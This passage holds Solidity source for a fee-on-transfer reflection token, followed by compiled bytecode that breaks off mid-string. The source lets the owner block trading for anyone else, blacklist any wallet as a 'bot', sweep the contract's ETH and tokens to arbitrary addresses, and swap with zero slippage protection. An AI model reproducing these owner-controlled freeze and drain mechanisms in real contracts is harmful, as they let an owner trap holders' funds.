uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 100000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 1000000, "Swap Threshold Amount cannot be less than 1 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(80).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102b25760003560e01c80635d098b3811610175578063a457c2d7116100dc578063d12a768811610095578063dd62ed3e1161006f578063dd62ed3e1461088e578063e8c4c43c146108d4578063ea2f0b37146108e9578063f2fde38b1461090957600080fd5b8063d12a768814610838578063d4a3883f1461084e578063dd4670641461086e57600080fd5b8063a457c2d714610799578063a6334231146107b9578063a69df4b5146107ce578063a9059cbb146107e3578063b6c5232414610803578063c49b9a801461081857600080fd5b8063764d72bf1161012e578063764d72bf146106d75780637d1db4a5146106f757806388f820201461070d5780638ba4cc3c146107465780638da5cb5b1461076657806395d89b411461078457600080fd5b80635d098b381461061357806360d48489146106335780636bc87c3a1461066c57806370a0823114610682578063715018a6146106a257806375f0a874146106b757600080fd5b80633685d419116102195780634549b039116101d25780634549b0391461053257806348c54b9d1461055257806349bd5a5e146105675780634a74bb021461059b57806352390c02146105ba5780635342acb4146105da57600080fd5b80633685d4191461047c578063395093511461049c5780633ae7dc20146104bc5780633b124fe7146104dc5780633bd5d173146104f2578063437823ec1461051257600080fd5b806323b872dd1161026b57806323b872dd146103bb57806329e04b4a146103db5780632a360631146103fb5780632d8381191461041b5780632f05205c1461043b578063313ce5671461045a57600080fd5b80630305caff146102be57806306fdde03146102e0578063095ea7b31461030b57806313114a9d1461033b5780631694505e1461035a57806318160ddd146103a657600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102de6102d9366004612b23565b610929565b005b3480156102ec57600080fd5b506102f561097d565b6040516103029190612b40565b60405180910390f35b34801561031757600080fd5b5061032b610326366004612b95565b610a0f565b6040519015158152602001610302565b34801561034757600080fd5b50600d545b604051908152602001610302565b34801561036657600080fd5b5061038e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610302565b3480156103b257600080fd5b50600b5461034c565b3480156103c757600080fd5b5061032b6103d6366004612bc1565b610a26565b3480156103e757600080fd5b506102de6103f6366004612c02565b610a8f565b34801561040757600080fd5b506102de610416366004612b23565b610b3b565b34801561042757600080fd5b5061034c610436366004612c02565b610b89565b34801561044757600080fd5b50600a5461032b90610100900460ff1681565b34801561046657600080fd5b5060115460405160ff9091168152602001610302565b34801561048857600080fd5b506102de610497366004612b23565b610c0d565b3480156104a857600080fd5b5061032b6104b7366004612b95565b610dc4565b3480156104c857600080fd5b506102de6104d7366004612c1b565b610dfa565b3480156104e857600080fd5b5061034c60125481565b3480156104fe57600080fd5b506102de61050d366004612c02565b610f0a565b34801561051e57600080fd5b506102de61052d366004612b23565b610ff4565b34801561053e57600080fd5b5061034c61054d366004612c62565b611042565b34801561055e57600080fd5b506102de6110cf565b34801561057357600080fd5b5061038e7f000000000000000000000000613daeb1ea20ea62a3de1b0d8c1b1fe24debd06681565b3480156105a757600080fd5b5060165461032b90610100900460ff1681565b3480156105c657600080fd5b506102de6105d5366004612b23565b611135565b3480156105e657600080fd5b5061032b6105f5366004612b23565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561061f57600080fd5b506102de61062e366004612b23565b611288565b34801561063f57600080fd5b5061032b61064e366004612b23565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561067857600080fd5b5061034c60145481565b34801561068e57600080fd5b5061034c61069d366004612b23565b6112d4565b3480156106ae57600080fd5b506102de611333565b3480156106c357600080fd5b50600e5461038e906001600160a01b031681565b3480156106e357600080fd5b506102de6106f2366004612b23565b611395565b34801561070357600080fd5b5061034c60175481565b34801561071957600080fd5b5061032b610728366004612b23565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561075257600080fd5b506102de610761366004612b95565b6113f4565b34801561077257600080fd5b506000546001600160a01b031661038e565b34801561079057600080fd5b506102f561144f565b3480156107a557600080fd5b5061032b6107b4366004612b95565b61145e565b3480156107c557600080fd5b506102de6114ad565b3480156107da57600080fd5b506102de6114e8565b3480156107ef57600080fd5b5061032b6107fe366004612b95565b6115ee565b34801561080f57600080fd5b5060025461034c565b34801561082457600080fd5b506102de610833366004612c87565b6115fb565b34801561084457600080fd5b5061034c60185481565b34801561085a57600080fd5b506102de610869366004612cf0565b611679565b34801561087a57600080fd5b506102de610889366004612c02565b61176c565b34801561089a57600080fd5b5061034c6108a9366004612c1b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156108e057600080fd5b506102de6117f1565b3480156108f557600080fd5b506102de610904366004612b23565b611829565b34801561091557600080fd5b506102de610924366004612b23565b611874565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161095390612d5c565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6060600f805461098c90612d91565b80601f01602080910402602001604051908101604052809291908181526020018280546109b890612d91565b8015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b6000610a1c33848461194c565b5060015b92915050565b6000610a33848484611a70565b610a858433610a8085604051806060016040528060288152602001612f8c602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611d21565b61194c565b5060019392505050565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161095390612d5c565b620f42408111610b275760405162461bcd60e51b815260206004820152603360248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152723632b9b9903a3430b710189026b4b63634b7b760691b6064820152608401610953565b610b3581633b9aca00612de2565b60185550565b6000546001600160a01b03163314610b655760405162461bcd60e51b815260040161095390612d5c565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610bf05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610953565b6000610bfa611d5b565b9050610c068382611d7e565b9392505050565b6000546001600160a01b03163314610c375760405162461bcd60e51b815260040161095390612d5c565b6001600160a01b03811660009081526007602052604090205460ff16610c9f5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b60005b600854811015610dc057816001600160a01b031660088281548110610cc957610cc9612e01565b6000918252602090912001546001600160a01b03161415610dae5760088054610cf490600190612e17565b81548110610d0457610d04612e01565b600091825260209091200154600880546001600160a01b039092169183908110610d3057610d30612e01565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610d8857610d88612e2e565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610db881612e44565b915050610ca2565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a1c918590610a809086611dc0565b6000546001600160a01b03163314610e245760405162461bcd60e51b815260040161095390612d5c565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a0823190602401602060405180830381865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190612e5f565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610ee1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f059190612e78565b505050565b3360008181526007602052604090205460ff1615610f7f5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610953565b6000610f8a83611e1f565b505050506001600160a01b038416600090815260036020526040902054919250610fb691905082611e6e565b6001600160a01b038316600090815260036020526040902055600c54610fdc9082611e6e565b600c55600d54610fec9084611dc0565b600d55505050565b6000546001600160a01b0316331461101e5760405162461bcd60e51b815260040161095390612d5c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156110965760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610953565b816110b55760006110a684611e1f565b50939550610a20945050505050565b60006110c084611e1f565b50929550610a20945050505050565b6000546001600160a01b031633146110f95760405162461bcd60e51b815260040161095390612d5c565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611132573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461115f5760405162461bcd60e51b815260040161095390612d5c565b6001600160a01b03811660009081526007602052604090205460ff16156111c85760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b6001600160a01b03811660009081526003602052604090205415611222576001600160a01b03811660009081526003602052604090205461120890610b89565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146112b25760405162461bcd60e51b815260040161095390612d5c565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff161561131157506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610a2090610b89565b6000546001600160a01b0316331461135d5760405162461bcd60e51b815260040161095390612d5c565b600080546040516001600160a01b0390911690600080516020612fb4833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146113bf5760405162461bcd60e51b815260040161095390612d5c565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610dc0573d6000803e3d6000fd5b6000546001600160a01b0316331461141e5760405162461bcd60e51b815260040161095390612d5c565b611426611eb0565b61143e338361143984633b9aca00612de2565b611a70565b610dc0601354601255601554601455565b60606010805461098c90612d91565b6000610a1c3384610a8085604051806060016040528060258152602001612fd4602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611d21565b6000546001600160a01b031633146114d75760405162461bcd60e51b815260040161095390612d5c565b600a805461ff001916610100179055565b6001546001600160a01b0316331461154e5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610953565b600254421161159f5760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610953565b600154600080546040516001600160a01b039384169390911691600080516020612fb483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610a1c338484611a70565b6000546001600160a01b031633146116255760405162461bcd60e51b815260040161095390612d5c565b601680548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061166e90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146116a35760405162461bcd60e51b815260040161095390612d5c565b60008382146116f45760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610953565b838110156117655761175385858381811061171157611711612e01565b90506020020160208101906117269190612b23565b84848481811061173857611738612e01565b90506020020135633b9aca0061174e9190612de2565b611ede565b61175e600182612e95565b90506116f4565b5050505050565b6000546001600160a01b031633146117965760405162461bcd60e51b815260040161095390612d5c565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556117c58142612e95565b600255600080546040516001600160a01b0390911690600080516020612fb4833981519152908390a350565b6000546001600160a01b0316331461181b5760405162461bcd60e51b815260040161095390612d5c565b67016345785d8a0000601755565b6000546001600160a01b031633146118535760405162461bcd60e51b815260040161095390612d5c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461189e5760405162461bcd60e51b815260040161095390612d5c565b6001600160a01b0381166119035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610953565b600080546040516001600160a01b0380851693921691600080516020612fb483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166119ae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610953565b6001600160a01b038216611a0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610953565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611ad45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610953565b6001600160a01b038216611b365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610953565b60008111611b985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610953565b6000546001600160a01b03848116911614801590611bc457506000546001600160a01b03838116911614155b15611c2c57601754811115611c2c5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610953565b6000611c37306112d4565b90506017548110611c4757506017545b60185481108015908190611c5e575060165460ff16155b8015611c9c57507f000000000000000000000000613daeb1ea20ea62a3de1b0d8c1b1fe24debd0666001600160a01b0316856001600160a01b031614155b8015611caf5750601654610100900460ff165b15611cc2576018549150611cc282611ef1565b6001600160a01b03851660009081526006602052604090205460019060ff1680611d0457506001600160a01b03851660009081526006602052604090205460ff165b15611d0d575060005b611d1986868684611ff0565b505050505050565b60008184841115611d455760405162461bcd60e51b81526004016109539190612b40565b506000611d528486612e17565b95945050505050565b6000806000611d6861222c565b9092509050611d778282611d7e565b9250505090565b6000610c0683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123ae565b600080611dcd8385612e95565b905083811015610c065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610953565b6000806000806000806000806000611e368a6123dc565b9250925092506000806000611e548d8686611e4f611d5b565b61241e565b919f909e50909c50959a5093985091965092945050505050565b6000610c0683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d21565b601254158015611ec05750601454155b15611ec757565b601280546013556014805460155560009182905555565b611ee6611eb0565b61143e338383611a70565b6016805460ff191660011790556000611f0b826002611d7e565b90506000611f198383611e6e565b905047611f258361246e565b6000611f314783611e6e565b90506000611f4b6064611f45846050612626565b90611d7e565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611f86573d6000803e3d6000fd5b50611f918183612e17565b9150611f9d84836126a5565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff1916905550505050565b600a54610100900460ff16612019576000546001600160a01b0385811691161461201957600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061205857506001600160a01b03831660009081526009602052604090205460ff165b156120af57600a5460ff166120af5760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610953565b806120bc576120bc611eb0565b6001600160a01b03841660009081526007602052604090205460ff1680156120fd57506001600160a01b03831660009081526007602052604090205460ff16155b156121125761210d8484846127a4565b612210565b6001600160a01b03841660009081526007602052604090205460ff1615801561215357506001600160a01b03831660009081526007602052604090205460ff165b156121635761210d8484846128ca565b6001600160a01b03841660009081526007602052604090205460ff161580156121a557506001600160a01b03831660009081526007602052604090205460ff16155b156121b55761210d848484612973565b6001600160a01b03841660009081526007602052604090205460ff1680156121f557506001600160a01b03831660009081526007602052604090205460ff165b156122055761210d8484846129b7565b612210848484612973565b8061222657612226601354601255601554601455565b50505050565b600c54600b546000918291825b60085481101561237e5782600360006008848154811061225b5761225b612e01565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806122c6575081600460006008848154811061229f5761229f612e01565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156122dc57600c54600b54945094505050509091565b61232260036000600884815481106122f6576122f6612e01565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e6e565b925061236a600460006008848154811061233e5761233e612e01565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e6e565b91508061237681612e44565b915050612239565b50600b54600c5461238e91611d7e565b8210156123a557600c54600b549350935050509091565b90939092509050565b600081836123cf5760405162461bcd60e51b81526004016109539190612b40565b506000611d528486612ead565b6000806000806123eb85612a2a565b905060006123f886612a46565b905060006124108261240a8986611e6e565b90611e6e565b979296509094509092505050565b600080808061242d8886612626565b9050600061243b8887612626565b905060006124498888612626565b9050600061245b8261240a8686611e6e565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106124a3576124a3612e01565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612521573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125459190612ecf565b8160018151811061255857612558612e01565b60200260200101906001600160a01b031690816001600160a01b0316815250506125a3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461194c565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906125f8908590600090869030904290600401612eec565b600060405180830381600087803b15801561261257600080fd5b505af1158015611d19573d6000803e3d6000fd5b60008261263557506000610a20565b60006126418385612de2565b90508261264e8583612ead565b14610c065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610953565b6126d0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461194c565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806127176000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561277f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117659190612f5d565b6000806000806000806127b687611e1f565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506127e89088611e6e565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546128179087611e6e565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546128469086611dc0565b6001600160a01b03891660009081526003602052604090205561286881612a62565b6128728483612aea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128b791815260200190565b60405180910390a3505050505050505050565b6000806000806000806128dc87611e1f565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061290e9087611e6e565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546129449084611dc0565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546128469086611dc0565b60008060008060008061298587611e1f565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506128179087611e6e565b6000806000806000806129c987611e1f565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506129fb9088611e6e565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461290e9087611e6e565b6000610a206064611f456012548561262690919063ffffffff16565b6000610a206064611f456014548561262690919063ffffffff16565b6000612a6c611d5b565b90506000612a7a8383612626565b30600090815260036020526040902054909150612a979082611dc0565b3060009081526003602090815260408083209390935560079052205460ff1615610f055730600090815260046020526040902054612ad59084611dc0565b30600090815260046020526040902055505050565b600c54612af79083611e6e565b600c55600d54612b079082611dc0565b600d555050565b6001600160a01b038116811461113257600080fd5b600060208284031215612b3557600080fd5b8135610c0681612b0e565b600060208083528351808285015260005b81811015612b6d57858101830151858201604001528201612b51565b81811115612b7f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612ba857600080fd5b8235612bb381612b0e565b946020939093013593505050565b600080600060608486031215612bd657600080fd5b8335612be181612b0e565b92506020840135612bf181612b0e565b929592945050506040919091013590565b600060208284031215612c1457600080fd5b5035919050565b60008060408385031215612c2e57600080fd5b8235612c3981612b0e565b91506020830135612c4981612b0e565b809150509250929050565b801515811461113257600080fd5b60008060408385031215612c7557600080fd5b823591506020830135612c4981612c54565b600060208284031215612c9957600080fd5b8135610c0681612c54565b60008083601f840112612cb657600080fd5b50813567ffffffffffffffff811115612cce57600080fd5b6020830191508360208260051b8501011115612ce957600080fd5b9250929050565b60008060008060408587031215612d0657600080fd5b843567ffffffffffffffff80821115612d1e57600080fd5b612d2a88838901612ca4565b90965094506020870135915080821115612d4357600080fd5b50612d5087828801612ca4565b95989497509550505050565b6020808252818101527f4f776e6